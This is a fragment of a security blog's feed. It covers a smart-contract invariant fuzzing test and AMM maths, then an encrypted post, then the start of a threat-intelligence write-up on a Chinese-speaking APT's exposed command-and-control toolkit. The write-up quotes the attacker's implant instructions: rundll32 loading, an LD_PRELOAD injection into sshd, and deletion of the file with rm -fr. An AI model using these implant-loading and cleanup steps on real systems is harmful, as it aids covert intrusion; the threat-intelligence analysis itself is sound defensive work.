href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Invariant.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Invariant.t.sol</a></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">setUp</span>(<span class="params"></span>) <span class="title">public</span> </span>&#123;</span><br><span class="line">vm.startPrank(owner);</span><br><span class="line"><span class="comment">// Give our owner 1M tokens each</span></span><br><span class="line">yeildERC20 = <span class="keyword">new</span> YeildERC20();</span><br><span class="line">startingAmount = yeildERC20.INITIAL_SUPPLY();</span><br><span class="line">mockUSDC = <span class="keyword">new</span> MockUSDC();</span><br><span class="line">mockUSDC.mint(owner, startingAmount);</span><br><span class="line"></span><br><span class="line">supportedTokens.push(mockUSDC);</span><br><span class="line">supportedTokens.push(yeildERC20);</span><br><span class="line">handlerStatefulFuzzCatches = <span class="keyword">new</span> HandlerStatefulFuzzCatches(supportedTokens);</span><br><span class="line">vm.stopPrank();</span><br><span class="line"></span><br><span class="line">handler = <span class="keyword">new</span> Handler(handlerStatefulFuzzCatches, yeildERC20, mockUSDC);</span><br><span class="line"></span><br><span class="line">bytes4[] memory selectors = <span class="keyword">new</span> bytes4[](<span class="number">3</span>);</span><br><span class="line">selectors[<span class="number">0</span>] = handler.depositYeildERC20.selector;</span><br><span class="line">selectors[<span class="number">1</span>] = handler.withdrawYeildERC20.selector;</span><br><span class="line">selectors[<span class="number">2</span>] = handler.withdrawMockUSDC.selector;</span><br><span class="line"></span><br><span class="line">targetSelector(FuzzSelector(&#123;<span class="attr">addr</span>: address(handler), <span class="attr">selectors</span>: selectors&#125;));</span><br><span class="line">targetContract(address(handler));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// // THIS however, catches our bug!!!</span></span><br><span class="line"><span class="comment">// function statefulFuzz_testInvariantBreakHandler() public &#123;</span></span><br><span class="line"><span class="comment">//     vm.startPrank(owner);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span></span><br><span class="line"><span class="comment">//     vm.stopPrank();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The commented function <code>statefulFuzz_testInvariantBreakHandler()</code> above is the solution which breaks the invariant. I’ll explain what these functions do:</p><ul><li>setUp()<ul><li>Give our owner 1M tokens<ul><li>Instantiate new YieldERC20 &amp; MockUSDC contracts</li><li>Mint 1M tokens to the owner</li></ul></li><li>Connect the handler and selectors<ul><li>Instantiate a new handler, passing the supported tokens.</li><li>Define the selectors to be the handler’s supported tokens and then call <code>targetContract</code> and <code>targetSelector</code> to connect the components together</li><li>It’s worth noting that <code>depositYeildERC20</code>, <code>withdrawYeildERC20</code>, <code>withdrawMockUSDC</code> are all defined within <code>test/Handler.t.sol</code> which is some more foundry stuff instrumenting the basic deposit/withdraw functionality (which includes calls to prank, approve etc).</li></ul></li></ul></li><li>statefulFuzz_testInvariantBreakHandler()<ul><li>Since we’ve connected the <code>mockUSDC</code> and <code>yieldERC20</code> objects to our test suite, we can pass them around and kinda pretend that their state is indeterminate. Ultimately we want to break the invariant, which in this case can be defined as the following statements:<ul><li>“Once the owner withdraws all their USDC and YieldERC20 tokens, their balances should be zero”</li><li>“Additionally, after, everything should be in its original state (the owner’s tokens should have the original starting amounts)”.</li><li>We then use an assert to define these invariants, and the test suite will do its magic to try to break those assertions.</li></ul></li></ul></li></ul><h1 id="T-Swap"><a href="#T-Swap" class="headerlink" title="T-Swap"></a>T-Swap</h1><p>As explained in the Cyfrin course, “T-Swap is known as an <a href="https://chain.link/education-hub/what-is-an-automated-market-maker-amm">Automated Market Maker (AMM)</a> because it doesn’t use a normal “order book” style exchange, instead it uses “Pools” of an asset. It is similar to Uniswap.”</p><p>The T-Swap protocol is explained in detail within this <a href="https://github.com/Cyfrin/5-t-swap-audit/tree/audit-data">README</a>.</p><h2 id="Invariant"><a href="#Invariant" class="headerlink" title="Invariant"></a>Invariant</h2><p>With T-Swap, this is a good example because the invariant can be defined with math:</p><ul><li>x = Token Balance X</li><li>y = Token Balance Y</li><li>k = The constant ratio between X &amp; Y</li></ul><p>This looks kinda insane, and it is, but we have everything that we need (x, y, &amp; k) to define the invariants:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">y = Token Balance Y</span><br><span class="line">x = Token Balance X</span><br><span class="line">x * y = k</span><br><span class="line">x * y = (x + ∆x) * (y − ∆y)</span><br><span class="line">∆x = Change of token balance X</span><br><span class="line">∆y = Change of token balance Y</span><br><span class="line">β = (∆y / y)</span><br><span class="line">α = (∆x / x)</span><br><span class="line"></span><br><span class="line">Final invariant equation without fees:</span><br><span class="line">∆x = (β/(<span class="number">1</span>-β)) * x</span><br><span class="line">∆y = (α/(<span class="number">1</span>+α)) * y</span><br><span class="line"></span><br><span class="line">Invariant <span class="keyword">with</span> fees</span><br><span class="line">ρ = fee (between <span class="number">0</span> &amp; <span class="number">1</span>, aka a percentage)</span><br><span class="line">γ = (<span class="number">1</span> - p) (pronounced gamma)</span><br><span class="line">∆x = (β/(<span class="number">1</span>-β)) * (<span class="number">1</span>/γ) * x</span><br><span class="line">∆y = (αγ/<span class="number">1</span>+αγ) * y</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;Pentesting-Strategy&quot;&gt;&lt;a href=&quot;#Pentesting-Strategy&quot; class=&quot;headerlink&quot; title=&quot;Pentesting Strategy&quot;&gt;&lt;/a&gt;Pentesting Strategy&lt;/h3&gt;&lt;p&gt;Wh</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Russian Threat Actor Attribution</title>
    <link href="https://blindcyber.gitlab.io/2022/03/03/Russian-Threat-Actor-Attribution/"/>
    <id>https://blindcyber.gitlab.io/2022/03/03/Russian-Threat-Actor-Attribution/</id>
    <published>2022-03-03T21:05:52.000Z</published>
    <updated>2025-10-28T13:30:47.278Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Wrong password." data-whm="The decrypted content cannot be verified.">  <script id="hbeData" type="hbeData" data-hmacdigest="d6539b211ca95a0e0d7a0b90f04d9afb9446c2cfc7056ee05fef98cd7fdc1aae">fce0ec79e6325ffce8389e2584f3adb692c8186093c1083a2b4bba83e60cfe71cb9c4b49ab77c8cd7ac162014ed9f2b212f37f64f07b304ce846642fb04ab33d8f346b5753e3ea3872fa46a7aabad26da3c4a00482c104b51172d3f2874c0079515062ba88cc055ba5c1329b666cec723cf78319a5f79a91cc89e43878d9552f16d33e9f14a83699e0ebebfd0211803610faa0dc09bb2afce9724b193445fba8ad92ba7f6283b3987e3a696ac7431e8a39ec2eb317d1af154804debcb21671a510b42c42d45ae5d8740b316560824e8bc3cffefb1c79d294f8dd1313a1cf239fb0c95d8d200471a228c8b2986d84cb66140f816df219e72146f3f02a75ea5853aec80406bcff01c47503abf3f9763d77a1e68253010a482e68afe7369d3ef4d75b32633817835afb37071614eb658757f79e48305949fdfe951e4538d7fe84ff42d710825b7d0c8572943cb9ef904108c3495ec4230a9250fb60a4977f24242ff335414c070c2f0aaa4dcf35193551b9e65bb5168e811b3fc057fa7588f29ceaf8219302960b7828f47a872bf72201cc2a8193f18e296c8ec316658ac054a3fe2fb22f1ce6926672296aaf9c091678cdb0c5cb3bb3e221c91cedbe45021ebae34c9d4e4ad7e723ca2c895927c90f60281d86ed7f84c9512af84c53b096c717a35f67e23b21ae8d6ff47a1374df360c2bdacc083f489c523b4eaedbca97299056534ecd372848b8a4ffe03dbf27f3b3a12cc5aaf0aba5e0f2d37d411398d07b700f12115f6241c79ef64f359c22c9a67463ddb68d7d56ec453e707644ae222588a2afe2508b58c3cbc0e4b0b87cf924cb652f95de27cdcedce9c2d3cadc0be8a3e2c5306c9b5cca8b7f7a092c546252be4ad11df1d9549e27260101c1d414ad04b76025e56abbacd0ad95b1ce50d1501b29ed829d19ce223b4b4ed795006f3831f28dcc324c5904c5b0a750a24d1e510b31f0d99de54fb7273e5ffd0b76d99559feb9328f8a0a1370e9b7e92c95c0a051e5d8173035bde32d4a71c2db2d801361b3be3986b63401543aeaf473325d33b11605420fefbf9c3a785f5cae33a4266c30ba1826431df59146ce2ec414cfc75aca91cadd4a1c03334db301cab44ee7eef78953384c309aef9c3283b51df4ba0d737e46c82e4616515c35d78a41304023a80d73c26df402a3d066d05a6334c0d5368a91740c1370ecf45f0d1acedc7abfddebc5886fb470cfcc42ec410dfd9b0f1880d06d70a55f547d57b413434f6b28ab7c70add2d47ca99122e4ea7ca7e415decfaa89d6e1e649cfb56d6fc394ec58f3e2a9b887fca49daf07e82560e457f505f40a6dadec0aea30909b7934793ab935469446f8603c1fddab79fa991f9cfd4afb5327b5c9ff9c3682cd257f992b41196ebf4dc041f97e7e4bd39cc15768992ae655cce2620cef4e4279d91c5635a15e67c2d3fddfe48a355a96534534fd7b6c1c1a1bbb006474b1828332eda50ba8aca7de498b67f4886fa03e4e9e502ae472b1dd45c78734a444fad4335b37f1b36baef8709b6ab44ababfdfbf445386bd218ed989c3f1ab2669e1d2ddc79115294c000bb2f4064bed8f86ba150775e02bb75831336294dee1c651ad0a88bf7e4d502ed79023af2607c27f8675b8c050489f3e8a989e6c2f9ce6a782fd4d9dbee20fb13a9c17525280b5a7ac2555c38b0366eb9acd3582fe5d032f1b9a86ceca0a889e56870df9ae33c8e6e0ff427379d39e1b02fb0a973486487fb39963977296083085d28af38466da3996e07a618d4c043af58bc01d8e5cf9fc9f99dbc200e9a6676f96a9db3b14849864333057b9f0f70a7d5c255a6c1b1a860c6ff83d5a5ad3b0d012163836dfd4236242ffd3c8698099f1e0f2b64be17245ecb85e7c16e4d27db6bebe541cd1194c31de1af6f23200483fdb61a7357590e9aa93fc03b004b84372d9bfcece0f747ec0f2a4d2c8f1566e1307d3b864417fecb8aa8b5b7b358a053f830f577467aabf6f1eff971adf8abedbe35b31ad1079dd8bd1c0f7e25bdda4c2026b58bdf1c263a2026a955f309fd6a006a805fdfe4c5c6d49ee48033cb20c39e3be08d175a51280138961ae80998b1a2ac6ca3608d83edb805e09a5621248c274be92b3a4ee5d4862e748db69e857c93b3cbb2bbfa950c94deaeec57372b526c4b8e01ea78e1dac76708204a778028967c8760fdca13a4f80d774cc3764fc091b0111e497cd6f6f0620b37ac54cdeb7dedcee68bb2d261d5e698856ea66fad2054a9ad554e14f04c96dc5c4794735a951547f53035fa9351d07285791f3d48f414c4c67afa29bad7e7cdeabe28ef84fe2093dc3b6310b0f61ad48cbf79985c1e5b31666126b7ca0218a27c9288bcafa94782483c11d6236f9616120321ca5aa01b53ed0d873cde8610d83dbf98b525f4a12841711cd5a33bb744b007952562a7d93a473620530e03aa9b9590a1e1fcaa10465b868bd51567e04046f8533c357675f4e747d3db0675c2423be6b920b077a6467d5cddf14eb61fbdf49c6ce6a026a9979a6dd169bd800403f98cd8d478dca2795ef855d743d11933651871db1b8ff770b8ae79c75db67ec3039622ec348907842609566e05aedcd8c0bef814f5794c2139d78a4a2b393684116b262f8f5c323cd9633f6ca7654fb42d41bd763fa5bb2740c1f4c1a0a73e07ffb0218b1b7b616c71be7d82ffa87cdbc69c545f53bfe7ee3ceb44a07747a6848f910c210819a51a45bcb3a278db66369cce2673375646eb8789633d8f5ea23d043819761a3a25f265b88def0253b17c678d2023f132bf423b518808d707a54a89904938aff41f60f4dda5357a5458555a5a028a822d7ed939ceba8953a9bbf2bb27c633506f3ff4cc25baae2f73e1cd555d8a877c6249a2d5d96b785f518f484161761de311bcae90a785fefd373138a82589c61a724fb65631f25577d1eb2901ba03cd0018de7d7a21f0f2cf7d0665d03676eb2f20f7ae191042631e07e636f67b60d17dd2ea40faf17dd25cd8f5299698fa885919c1f1adfec8503cb334f5862c49ea6e1b656b20f10483ea7d933b255ede985c6075692972a2205dc459770e500294da68efafcb470297b24e268624530860ffb52d3868c5a3292dedd6f2ca154daea81ab719bc98796fef1f418a607412649313db26ffd95001554dc3bb925cdc11df0b60124e677d7aae644a10f775762cdf2bdc3be4d07bf06688f5ca583eff3f25d55faece0f83a7a7754a652a7548553fcfbf47c4c00b98326dd5b4aefec28ed3bc99c557382c80e8a2243fc328953150183d18fc856bed69c718faf71c5bf12ff5cf53851be67f8e3eee212f8bf3cc4b5db9f1fe3b40f2a7f7d0924f2945c5b3f6479354d57b139f0644f899fbc4f527a9b2efbf884958af99b9e9c5d759e9b1e7499b73ffb97259c1e94d4f253c6da8f95b547cee5ce417145e42f2abc7045ba222eb80b7343c23bb0c2536c2f52de97455f2836c5bb0945bd90fce26b699e6ccf606878a629e5f3428af253dba1d6508f0a2b348c2db1a1abf210d047bc72abf88406a649af26d24373a9505e744a7a604b9e6c0abbccead1f9ddf510d9fc38164f97d3b0e121b31bfbb59dc2afd4d79d415ca1003aee2f848de64823c55a5b7479b90ad4480a311378d82e0408f9c205c001777e3363a3470db0271a06a04e395b29015c159bb53a4354a321da40f88c1fa32021e436f438949a0bc0489d72f57dcffbeb62582b1a25679e9342409a8ee4b8cde9406b23a178c1e9bf5b859b3ee74ac4c92219e1af84ffc59dbfeccdca3f09cc84182db2491622dc0a9d1875d6e884ad9be53bc22e5b1780e34213aca26cb8a066b46ad1c01eed010860b2de4016a1456a8125bc55574a6897b7cb4597e18af0cefcf71ee03612010583b31c8b120697590210cdd428ae3b05d6533ec6889c4f1bd15659dc726343cabb206a67242863709824e34c70d93e0b51ab38ef0bf09a5d1d2d39a5edc44980cc63e0e2b3fbd93c749e4a9fe89be615686448afa07b740a6ac1b7952ecd2ba744e88a24169c074e0f4f539c764125ad8e7ad56a7c3ee562c3a25571abbc3591b6e39e68a93915bf8c86d171ac760b1bc2bc324309725011d69ecd853b737da226bb7f94441afe559bca1fcd84dd546500277a0c956a6d51a80f8ca7bb3d4569c894892777d6e9efbd12db8127653bad90b3d14a2c51d8e90d7c022506cca767e5d8c73060b0f87cb9224b2317575128c0bc207148e40ce751f3c4d2e5bb6a92f5b2b5dadddcee19cfebf432e176c70e358c1f243ac755e530cdfa238f784cf7ecd84b0b7ca4b1eb16f1d4c580ba50bb3424176679c8073d535cff129adc7beffb096999183b88eb32dcb63d3a419fb5d3b5824a98207b81fdb4fadc4c805390cc8a77b1ba059c27dba48ab1ba6ea3cb28600ea5ba8d052256199c8512853e64f4dbac93078b6ffc7813d2030f10b289f691ade51989f3a4a66846d506dfada7c04d70f85e36aed67a7c754fa4a6b6de</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-surge">      <input class="hbe hbe-input-field hbe-input-field-surge" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-surge" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-surge" data-content="Sorry, this post can't be accessed without explicit permission unfortunately.">Sorry, this post can't be accessed without explicit permission unfortunately.</span>      </label>      <svg class="hbe hbe-graphic hbe-graphic-surge" width="300%" height="100%" viewBox="0 0 1200 60" preserveAspectRatio="none">        <path d="M1200,9c0,0-305.005,0-401.001,0C733,9,675.327,4.969,598,4.969C514.994,4.969,449.336,9,400.333,9C299.666,9,0,9,0,9v43c0,0,299.666,0,400.333,0c49.002,0,114.66,3.484,197.667,3.484c77.327,0,135-3.484,200.999-3.484C894.995,52,1200,52,1200,52V9z"></path>      </svg>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">A Russian threat actor made some opsec mistakes. This is a detailed report outlining attribution.</summary>
    
    
    
    
    <category term="Threat Intelligence" scheme="https://blindcyber.gitlab.io/tags/Threat-Intelligence/"/>
    
    <category term="Encrypted" scheme="https://blindcyber.gitlab.io/tags/Encrypted/"/>
    
  </entry>
  
  <entry>
    <title>Malaysian Government Breached By Chinese-speaking APT</title>
    <link href="https://blindcyber.gitlab.io/2021/12/14/Malaysian-Government-Breached-By-Chinese-Threat-Actor/"/>
    <id>https://blindcyber.gitlab.io/2021/12/14/Malaysian-Government-Breached-By-Chinese-Threat-Actor/</id>
    <published>2021-12-14T20:39:07.000Z</published>
    <updated>2025-10-28T13:30:47.277Z</updated>
    
    <content type="html"><![CDATA[<p>Using a custom threat intelligence framework that I built, I identified that there was a small window of time, 6 minutes 32 seconds, in which a threat actor modified their C2 configuration, briefly exposing a directory listing which my tooling archived before the port was promptly closed. The content of this directory indicated that a Chinese-speaking actor breached one of the Malaysian Government’s VSphere instances, indicating a potentially significant compromise of their environment.</p><p>This is a quick writeup on another exposed directory listing that I identified when monitoring infrastructure suspected to be operated by an Advanced Persistent Threat (APT). Based on the available data this activity likely persisted between the dates <code>2021-05-27</code> - <code>2021-09-02</code> using windows and linux implants.</p><p>This host was fingerprinted as an active CobaltStrike Teamserver. At port 8080 the threat actor accidentally exposed a directory listing over HTTP for a short period of time, which my tooling was able to capture.</p><p><code>103.338.225.37:8080</code></p><img src="/images/directory_listing.png" class="[test]" title="Exposed Directory Listing" alt="Exposed Directory Listing"><p>Directory Listing:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">drwxr-xr-x  4 root root     4096 Dec 12 03:11 G1-Beta</span><br><span class="line">drwxr-xr-x  2 root root     4096 Dec 12 03:11 old</span><br><span class="line">-rw-r--r--  1 root root 19665659 Dec 12 03:11 xxx.7z</span><br></pre></td></tr></table></figure><p>Within <code>G1-Beta</code> there are <code>Client</code> and <code>Generator</code> folders containing the following:</p><p>G1-Beta/Client:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 24584</span><br><span class="line">-rw-r--r-- 1 root root   15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root   11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 certificate</span><br><span class="line">-rw-r--r-- 1 root root 6320128 May  8  2021 G1.exe</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 Hosts</span><br><span class="line">-rw-r--r-- 1 root root 2521600 Sep 23  2020 libcrypto-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root  530944 Sep 23  2020 libssl-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 plugin</span><br><span class="line">-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root   80112 Nov 20  2018 vcruntime140.dll</span><br></pre></td></tr></table></figure><p>G1-Beta/Generator:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 21332</span><br><span class="line">-rw-r--r-- 1 root root 6233088 May  8  2021 Generator.exe</span><br><span class="line">-rw-r--r-- 1 root root  455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root  970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwxr-xr-x 4 root root    4096 Dec 12 03:13 Output</span><br><span class="line">drwxr-xr-x 2 root root    4096 Dec 12 03:13 platforms</span><br><span class="line">-rw-r--r-- 1 root root 4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root 5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root 4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root     459 Feb  4  2021 使用说明.txt</span><br></pre></td></tr></table></figure><p>Within <code>xxx.7z</code> there’s more interesting files.</p><p>Directory listing of <code>xxx.7z</code>:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">total 53712</span><br><span class="line">-rw-r--r-- 1 root root      167 Sep  2 11:58 269aa5960ef1bdc4</span><br><span class="line">-rw-r--r-- 1 root root    15096 Apr 12  2019 api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    15608 Apr 12  2019 api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    17144 Apr 12  2019 api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    17352 Apr 12  2019 api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    13560 Apr 12  2019 api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root    11512 Apr 12  2019 api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">-rw-r--r-- 1 root root     9967 Apr 24  2019 cer.crt</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 certificate</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Client</span><br><span class="line">-rw-r--r-- 1 root root    56832 Dec  2  2020 CmdShell.exe</span><br><span class="line">-rw-r--r-- 1 root root    40960 Dec 18  2020 CmdShell.pln</span><br><span class="line">drwx------ 2 root root     4096 May 24  2021 Custom</span><br><span class="line">drwx------ 2 root root     4096 Sep  2 11:53 Default</span><br><span class="line">-rw-r--r-- 1 root root   142336 Dec  2  2020 DiskFile.exe</span><br><span class="line">-rw-r--r-- 1 root root    68608 Dec 18  2020 DiskFile.pln</span><br><span class="line">-rw-r--r-- 1 root root      198 May 27  2021 fed186c5a12922bc</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 G1-Beta</span><br><span class="line">-rw-r--r-- 1 root root  6320128 May  8  2021 G1.exe</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Generator</span><br><span class="line">-rw-r--r-- 1 root root  6233088 May  8  2021 Generator.exe</span><br><span class="line">drwx------ 2 root root     4096 May 24  2021 gov.my</span><br><span class="line">-rw-r--r-- 1 root root   133472 May 24  2021 host_linux_x64.so</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Hosts</span><br><span class="line">-rw-r--r-- 1 root root   234721 May 27  2021 host_win_x64.exe</span><br><span class="line">-rw-r--r-- 1 root root   194846 May 27  2021 host_win_x86.exe</span><br><span class="line">-rw-r--r-- 1 root root   129528 May 24  2021 kernle</span><br><span class="line">-rw-r--r-- 1 root root     1679 Apr 24  2019 key.pem</span><br><span class="line">-rw-r--r-- 1 root root  2521600 Sep 23  2020 libcrypto-1_1.dll</span><br><span class="line">-rw-r--r-- 1 root root   530944 Sep 23  2020 libssl-1_1.dll</span><br><span class="line">drwx------ 2 root root     4096 Dec 11 15:42 Linux</span><br><span class="line">-rw-r--r-- 1 root root   455328 Oct  4  2013 msvcp120.dll</span><br><span class="line">-rw-r--r-- 1 root root   970912 Oct  4  2013 msvcr120.dll</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Output</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 platforms</span><br><span class="line">-rw-r--r-- 1 root root    73498 Dec 18  2020 plnuser.pln</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 plugin</span><br><span class="line">-rw-r--r-- 1 root root  4670976 Apr 16  2012 Qt5Core.dll</span><br><span class="line">-rw-r--r-- 1 root root  5011968 May 25  2016 Qt5Gui.dll</span><br><span class="line">-rw-r--r-- 1 root root  4472320 May 25  2016 Qt5Widgets.dll</span><br><span class="line">-rw-r--r-- 1 root root  1014168 Feb 27  2017 qwindows.dll</span><br><span class="line">-rw-r--r-- 1 root root   463872 Dec  2  2020 Scheduler.exe</span><br><span class="line">-rw-r--r-- 1 root root    80896 Dec 18  2020 Scheduler.pln</span><br><span class="line">-rw-r--r-- 1 root root   102400 Dec  2  2020 Services.exe</span><br><span class="line">-rw-r--r-- 1 root root   119296 Dec 18  2020 Services.pln</span><br><span class="line">-rw-r--r-- 1 root root   231424 Sep 14  2020 SocksMap.exe</span><br><span class="line">-rw-r--r-- 1 root root    55296 Dec 18  2020 SocksMap.pln</span><br><span class="line">-rw-r--r-- 1 root root   186368 Dec  3  2020 S-Tools.exe</span><br><span class="line">-rw-r--r-- 1 root root    41984 Dec 18  2020 S-Tools.pln</span><br><span class="line">-rw-r--r-- 1 root root   120320 Dec  2  2020 SyncShell.exe</span><br><span class="line">-rw-r--r-- 1 root root    41472 Feb  3  2021 SyncShell.pln</span><br><span class="line">-rw-r--r-- 1 root root    81920 Dec  2  2020 TaskMgr.exe</span><br><span class="line">-rw-r--r-- 1 root root    59904 Dec 18  2020 TaskMgr.pln</span><br><span class="line">-rw-r--r-- 1 root root   135680 Jun 12  2018 Terminal.exe</span><br><span class="line">-rw-r--r-- 1 root root        1 Dec 18  2020 Terminal.pln</span><br><span class="line">-rw-r--r-- 1 root root    80112 Nov 20  2018 vcruntime140.dll</span><br><span class="line">drwx------ 2 root root     4096 May 21  2021 Windows</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 x64</span><br><span class="line">drwx------ 2 root root     4096 Feb 23  2021 x86</span><br><span class="line">-rw-r--r-- 1 root root      459 Feb  4  2021 使用说明.txt</span><br></pre></td></tr></table></figure><p>One file within the archive is named <code>使用说明.txt</code> , which translate from Chinese as <code>Instructions for use.txt</code> so we are likely dealing with a Chinese threat actor.</p><p>使用说明.txt:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Window：</span><br><span class="line">1：exe直接运行。</span><br><span class="line">2：dll运行方式：</span><br><span class="line">rundll32 host_win_x86.dll,elapsed</span><br><span class="line">rundll32 host_win_x64.dll,elapsed</span><br><span class="line">3：bin为shellcode，自定义加载。</span><br><span class="line"></span><br><span class="line">Linux ：</span><br><span class="line">1:exe 直接运行:</span><br><span class="line">      chmod 755 host_linux_x64</span><br><span class="line">     ./host_linux_x64</span><br><span class="line">2:so 支持 ldd 加载。</span><br><span class="line">LD_PRELOAD=./host_linux_x64.so  /usr/sbin/sshd</span><br><span class="line">              rm -fr  /host_linux_x64.so</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">注：Windows/Linux都支持低权限执行，比如webshell等。</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>English translation:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 